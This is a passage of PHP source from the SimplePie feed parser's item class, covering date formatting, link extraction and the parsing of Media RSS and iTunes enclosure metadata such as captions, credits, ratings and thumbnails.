            if (($raw_date = $this->get_date('')) === null) {
                return null;
            }

            return $this->sanitize($raw_date, \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif (($date = $this->get_date('U')) !== null && $date !== false) {
            return strftime($date_format, $date);
        }

        return null;
    }

    /**
     * Get the posting date/time for the item (UTC time)
     *
     * @see get_date
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
     * @return string|null
     */
    public function get_gmdate(string $date_format = 'j F Y, g:i a')
    {
        $date = $this->get_date('U');
        if ($date === null) {
            return null;
        }

        return gmdate($date_format, $date);
    }

    /**
     * Get the update date/time for the item (UTC time)
     *
     * @see get_updated_date
     * @param string $date_format Supports any PHP date format from {@see http://php.net/date}
     * @return string|null
     */
    public function get_updated_gmdate(string $date_format = 'j F Y, g:i a')
    {
        $date = $this->get_updated_date('U');
        if ($date === null) {
            return null;
        }

        return gmdate($date_format, $date);
    }

    /**
     * Get the permalink for the item
     *
     * Returns the first link available with a relationship of "alternate".
     * Identical to {@see get_link()} with key 0
     *
     * @see get_link
     * @since 0.8
     * @return string|null Permalink URL
     */
    public function get_permalink()
    {
        $link = $this->get_link();
        $enclosure = $this->get_enclosure(0);
        if ($link !== null) {
            return $link;
        } elseif ($enclosure !== null) {
            return $enclosure->get_link();
        }

        return null;
    }

    /**
     * Get a single link for the item
     *
     * @since Beta 3
     * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
     * @param string $rel The relationship of the link to return
     * @return string|null Link URL
     */
    public function get_link(int $key = 0, string $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if ($links && $links[$key] !== null) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Get all links for the item
     *
     * Uses `<atom:link>`, `<link>` or `<guid>`
     *
     * @since Beta 2
     * @param string $rel The relationship of links to return
     * @return array<string>|null Links found for the item (strings)
     */
    public function get_links(string $rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
                if (isset($link['attribs']['']['href'])) {
                    $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                    $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
                }
            }
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
                if (isset($link['attribs']['']['href'])) {
                    $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                    $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
                }
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
                if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') {
                    $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($links[0]));
                }
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr((string) $key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr((string) $key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }
        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    /**
     * Get an enclosure from the item
     *
     * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
     *
     * @since Beta 2
     * @todo Add ability to prefer one type of content over another (in a media group).
     * @param int $key The enclosure that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Enclosure|null
     */
    public function get_enclosure(int $key = 0)
    {
        $enclosures = $this->get_enclosures();
        if (isset($enclosures[$key])) {
            return $enclosures[$key];
        }

        return null;
    }

    /**
     * Get all available enclosures (podcasts, etc.)
     *
     * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
     *
     * At this point, we're pretty much assuming that all enclosures for an item
     * are the same content.  Anything else is too complicated to
     * properly support.
     *
     * @since Beta 2
     * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
     * @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists).
     * @return \SimplePie\Enclosure[]|null List of \SimplePie\Enclosure items
     */
    public function get_enclosures()
    {
        if (!isset($this->data['enclosures'])) {
            $this->data['enclosures'] = [];

            // Elements
            $captions_parent = null;
            $categories_parent = null;
            $copyrights_parent = null;
            $credits_parent = null;
            $description_parent = null;
            $duration_parent = null;
            $hashes_parent = null;
            $keywords_parent = null;
            $player_parent = null;
            $ratings_parent = null;
            $restrictions_parent = [];
            $thumbnails_parent = null;
            $title_parent = null;

            // Let's do the channel and item-level ones first, and just re-use them if we need to.
            $parent = $this->get_feed();

            // CAPTIONS
            if ($captions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
                foreach ($captions as $caption) {
                    $caption_type = null;
                    $caption_lang = null;
                    $caption_startTime = null;
                    $caption_endTime = null;
                    $caption_text = null;
                    if (isset($caption['attribs']['']['type'])) {
                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['lang'])) {
                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['start'])) {
                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['end'])) {
                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['data'])) {
                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                }
            } elseif ($captions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
                foreach ($captions as $caption) {
                    $caption_type = null;
                    $caption_lang = null;
                    $caption_startTime = null;
                    $caption_endTime = null;
                    $caption_text = null;
                    if (isset($caption['attribs']['']['type'])) {
                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['lang'])) {
                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['start'])) {
                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['end'])) {
                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['data'])) {
                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                }
            }
            if (is_array($captions_parent)) {
                $captions_parent = array_values(array_unique($captions_parent));
            }

            // CATEGORIES
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
                $term = null;
                $scheme = null;
                $label = null;
                if (isset($category['data'])) {
                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($category['attribs']['']['scheme'])) {
                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                } else {
                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                }
                if (isset($category['attribs']['']['label'])) {
                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
            }
            foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
                $term = null;
                $scheme = null;
                $label = null;
                if (isset($category['data'])) {
                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($category['attribs']['']['scheme'])) {
                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                } else {
                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                }
                if (isset($category['attribs']['']['label'])) {
                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
            }
            foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'category') as $category) {
                $term = null;
                $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
                $label = null;
                if (isset($category['attribs']['']['text'])) {
                    $label = $this->sanitize($category['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);

                if (isset($category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'])) {
                    foreach ((array) $category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'] as $subcategory) {
                        if (isset($subcategory['attribs']['']['text'])) {
                            $label = $this->sanitize($subcategory['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                    }
                }
            }
            if (is_array($categories_parent)) {
                $categories_parent = array_values(array_unique($categories_parent));
            }

            // COPYRIGHT
            if ($copyright = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
                $copyright_url = null;
                $copyright_label = null;
                if (isset($copyright[0]['attribs']['']['url'])) {
                    $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($copyright[0]['data'])) {
                    $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
            } elseif ($copyright = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
                $copyright_url = null;
                $copyright_label = null;
                if (isset($copyright[0]['attribs']['']['url'])) {
                    $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($copyright[0]['data'])) {
                    $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
            }

            // CREDITS
            if ($credits = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
                foreach ($credits as $credit) {
                    $credit_role = null;
                    $credit_scheme = null;
                    $credit_name = null;
                    if (isset($credit['attribs']['']['role'])) {
                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($credit['attribs']['']['scheme'])) {
                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $credit_scheme = 'urn:ebu';
                    }
                    if (isset($credit['data'])) {
                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                }
            } elseif ($credits = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
                foreach ($credits as $credit) {
                    $credit_role = null;
                    $credit_scheme = null;
                    $credit_name = null;
                    if (isset($credit['attribs']['']['role'])) {
                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($credit['attribs']['']['scheme'])) {
                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $credit_scheme = 'urn:ebu';
                    }
                    if (isset($credit['data'])) {
                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                }
            }
            if (is_array($credits_parent)) {
                $credits_parent = array_values(array_unique($credits_parent));
            }

            // DESCRIPTION
            if ($description_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
                if (isset($description_parent[0]['data'])) {
                    $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            } elseif ($description_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
                if (isset($description_parent[0]['data'])) {
                    $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            }

            // DURATION
            $duration_tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'duration');
            if ($duration_tags !== null) {
                $seconds = null;
                $minutes = null;
                $hours = null;
                if (isset($duration_tags[0]['data'])) {
                    $temp = explode(':', $this->sanitize($duration_tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    $seconds = (int) array_pop($temp);
                    if (count($temp) > 0) {
                        $minutes = (int) array_pop($temp);
                        $seconds += $minutes * 60;
                    }
                    if (count($temp) > 0) {
                        $hours = (int) array_pop($temp);
                        $seconds += $hours * 3600;
                    }
                    unset($temp);
                    $duration_parent = $seconds;
                }
            }

            // HASHES
            if ($hashes_iterator = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
                foreach ($hashes_iterator as $hash) {
                    $value = null;
                    $algo = null;
                    if (isset($hash['data'])) {
                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($hash['attribs']['']['algo'])) {
                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $algo = 'md5';
                    }
                    $hashes_parent[] = $algo.':'.$value;
                }
            } elseif ($hashes_iterator = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
                foreach ($hashes_iterator as $hash) {
                    $value = null;
                    $algo = null;
                    if (isset($hash['data'])) {
                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($hash['attribs']['']['algo'])) {
                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $algo = 'md5';
                    }
                    $hashes_parent[] = $algo.':'.$value;
                }
            }
            if (is_array($hashes_parent)) {
                $hashes_parent = array_values(array_unique($hashes_parent));
            }

            // KEYWORDS
            if ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            }
            if (is_array($keywords_parent)) {
                $keywords_parent = array_values(array_unique($keywords_parent));
            }

            // PLAYER
            if ($player_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
                if (isset($player_parent[0]['attribs']['']['url'])) {
                    $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($player_parent[0]));
                }
            } elseif ($player_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
                if (isset($player_parent[0]['attribs']['']['url'])) {
                    $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($player_parent[0]));
                }
            }

            // RATINGS
            if ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = null;
                    $rating_value = null;
                    if (isset($rating['attribs']['']['scheme'])) {
                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $rating_scheme = 'urn:simple';
                    }
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = 'urn:itunes';
                    $rating_value = null;
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = null;
                    $rating_value = null;
                    if (isset($rating['attribs']['']['scheme'])) {
                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $rating_scheme = 'urn:simple';
                    }
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = 'urn:itunes';
                    $rating_value = null;
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            }
            if (is_array($ratings_parent)) {
                $ratings_parent = array_values(array_unique($ratings_parent));
            }

            // RESTRICTIONS
            if ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = null;
                    $restriction_type = null;
                    $restriction_value = null;
                    if (isset($restriction['attribs']['']['relationship'])) {
                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['attribs']['']['type'])) {
                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['data'])) {
                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = Restriction::RELATIONSHIP_ALLOW;
                    $restriction_type = null;
                    $restriction_value = 'itunes';
                    if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
                        $restriction_relationship = Restriction::RELATIONSHIP_DENY;
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = null;
                    $restriction_type = null;
                    $restriction_value = null;
                    if (isset($restriction['attribs']['']['relationship'])) {
                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['attribs']['']['type'])) {
                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['data'])) {
                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = Restriction::RELATIONSHIP_ALLOW;
                    $restriction_type = null;
                    $restriction_value = 'itunes';
                    if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
                        $restriction_relationship = Restriction::RELATIONSHIP_DENY;
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            }
            if (count($restrictions_parent) > 0) {
                $restrictions_parent = array_values(array_unique($restrictions_parent));
            } else {
                $restrictions_parent = [new \SimplePie\Restriction(Restriction::RELATIONSHIP_ALLOW, null, 'default')];
            }

            // THUMBNAILS
            if ($thumbnails = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                foreach ($thumbnails as $thumbnail) {
                    if (isset($thumbnail['attribs']['']['url'])) {
                        $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                    }
                }
            } elseif ($thumbnails = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                foreach ($thumbnails as $thumbnail) {
                    if (isset($thumbnail['attribs']['']['url'])) {
                        $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                    }
                }
            }

            // TITLES
            if ($title_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
                if (isset($title_parent[0]['data'])) {
                    $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            } elseif ($title_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
                if (isset($title_parent[0]['data'])) {
                    $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            }

            // Clear the memory
            unset($parent);

            // Attributes
            $bitrate = null;
            $channels = null;
            $duration = null;
            $expression = null;
            $framerate = null;
            $height = null;
            $javascript = null;
            $lang = null;
            $length = null;
            $medium = null;
            $samplingrate = null;
            $type = null;
            $url = null;
            $width = null;

            // Elements
            $captions = null;
            $categories = null;
            $copyrights = null;
            $credits = null;
            $description = null;
            $hashes = null;
            $keywords = null;
            $player = null;
            $ratings = null;
            $restrictions = null;
            $thumbnails = null;
            $title = null;

            // If we have media:group tags, loop through them.
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group') as $group) {
                if (isset($group['child']) && isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
                    // If we have media:content tags, loop through them.
                    foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
                        if (isset($content['attribs']['']['url'])) {
                            // Attributes
                            $bitrate = null;
                            $channels = null;
                            $duration = null;
                            $expression = null;
                            $framerate = null;
                            $height = null;
                            $javascript = null;
                            $lang = null;
                            $length = null;
                            $medium = null;
                            $samplingrate = null;
                            $type = null;
                            $url = null;
                            $width = null;

                            // Elements
                            $captions = null;
                            $categories = null;
                            $copyrights = null;
                            $credits = null;
                            $description = null;
                            $hashes = null;
                            $keywords = null;
                            $player = null;
                            $ratings = null;
                            $restrictions = null;
                            $thumbnails = null;
                            $title = null;

                            // Start checking the attributes of media:content
                            if (isset($content['attribs']['']['bitrate'])) {
                                $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['channels'])) {
                                $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['duration'])) {
                                $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $duration = $duration_parent;
                            }
                            if (isset($content['attribs']['']['expression'])) {
                                $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['framerate'])) {
                                $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['height'])) {
                                $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['lang'])) {
                                $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['fileSize'])) {
                                $length = intval($content['attribs']['']['fileSize']);
                            }
                            if (isset($content['attribs']['']['medium'])) {
                                $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['samplingrate'])) {
                                $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['type'])) {
                                $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['width'])) {
                                $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($content));

                            // Checking the other optional media: elements. Priority: media:content, media:group, item, channel

                            // CAPTIONS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                    $caption_type = null;
